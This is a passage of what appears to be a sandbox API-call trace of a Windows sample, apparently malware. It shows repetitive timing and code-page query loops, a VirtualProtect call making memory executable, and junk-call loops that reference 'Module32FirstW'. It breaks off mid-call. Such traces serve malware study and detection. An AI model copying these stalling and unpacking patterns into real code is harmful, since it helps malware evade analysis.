| out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.260] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.260] GetACP () returned 0x4e4 [0053.260] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.260] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.260] GetACP () returned 0x4e4 [0053.260] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.260] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.260] GetACP () returned 0x4e4 [0053.260] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.260] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.260] GetACP () returned 0x4e4 [0053.260] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.260] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.260] GetACP () returned 0x4e4 [0053.260] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.260] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.260] GetACP () returned 0x4e4 [0053.260] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.260] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.260] GetACP () returned 0x4e4 [0053.260] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.260] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.260] GetACP () returned 0x4e4 [0053.260] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.260] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.260] GetACP () returned 0x4e4 [0053.260] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.261] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.261] GetACP () returned 0x4e4 [0053.261] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.261] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.261] GetACP () returned 0x4e4 [0053.261] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.261] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.261] GetACP () returned 0x4e4 [0053.261] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.261] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.261] GetACP () returned 0x4e4 [0053.261] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.261] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.261] GetACP () returned 0x4e4 [0053.261] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.261] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.261] GetACP () returned 0x4e4 [0053.261] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.261] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.261] GetACP () returned 0x4e4 [0053.261] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.261] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.262] GetACP () returned 0x4e4 [0053.262] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.262] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.262] GetACP () returned 0x4e4 [0053.262] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.262] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.262] GetACP () returned 0x4e4 [0053.262] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.262] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.262] GetACP () returned 0x4e4 [0053.262] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.262] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.262] GetACP () returned 0x4e4 [0053.262] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.262] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.262] GetACP () returned 0x4e4 [0053.362] VirtualProtect (in: lpAddress=0x305ab8, dwSize=0xf540, flNewProtect=0x40, lpflOldProtect=0x43b444 | out: lpflOldProtect=0x43b444*=0x4) returned 1 [0053.382] AddAtomA (lpString=0x0) returned 0x0 [0053.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.383] AddAtomA (lpString=0x0) returned 0x0 [0053.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.383] AddAtomA (lpString=0x0) returned 0x0 [0053.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.383] AddAtomA (lpString=0x0) returned 0x0 [0053.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.383] AddAtomA (lpString=0x0) returned 0x0 [0053.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.383] AddAtomA (lpString=0x0) returned 0x0 [0053.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.383] AddAtomA (lpString=0x0) returned 0x0 [0053.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.383] AddAtomA (lpString=0x0) returned 0x0 [0053.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.383] AddAtomA (lpString=0x0) returned 0x0 [0053.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.383] AddAtomA (lpString=0x0) returned 0x0 [0053.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.383] AddAtomA (lpString=0x0) returned 0x0 [0053.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.384] AddAtomA (lpString=0x0) returned 0x0 [0053.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.385] AddAtomA (lpString=0x0) returned 0x0 [0053.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.386] AddAtomA (lpString=0x0) returned 0x0 [0053.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.386] AddAtomA (lpString=0x0) returned 0x0 [0053.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.386] AddAtomA (lpString=0x0) returned 0x0 [0053.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.386] AddAtomA (lpString=0x0) returned 0x0 [0053.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.386] AddAtomA (lpString=0x0) returned 0x0 [0053.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.386] AddAtomA (lpString=0x0) returned 0x0 [0053.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.386] AddAtomA (lpString=0x0) returned 0x0 [0053.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.386] AddAtomA (lpString=0x0) returned 0x0 [0053.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.386] AddAtomA (lpString=0x0) returned 0x0 [0053.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.386] AddAtomA (lpString=0x0) returned 0x0 [0053.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.387] AddAtomA (lpString=0x0) returned 0x0 [0053.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.388] AddAtomA (lpString=0x0) returned 0x0 [0053.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.388] AddAtomA (lpString=0x0) returned 0x0 [0053.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.388] AddAtomA (lpString=0x0) returned 0x0 [0053.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.388] AddAtomA (lpString=0x0) returned 0x0 [0053.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.388] AddAtomA (lpString=0x0) returned 0x0 [0053.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.388] AddAtomA (lpString=0x0) returned 0x0 [0053.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.388] AddAtomA (lpString=0x0) returned 0x0 [0053.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.388] AddAtomA (lpString=0x0) returned 0x0 [0053.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.388] AddAtomA (lpString=0x0) returned 0x0 [0053.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.388] AddAtomA (lpString=0x0) returned 0x0 [0053.388] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.388] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.389] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.389] AddAtomA (lpString=0x0) returned 0x0 [0053.389] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.389] GetCurrentDirectoryA (in: nBufferLength=0x0, 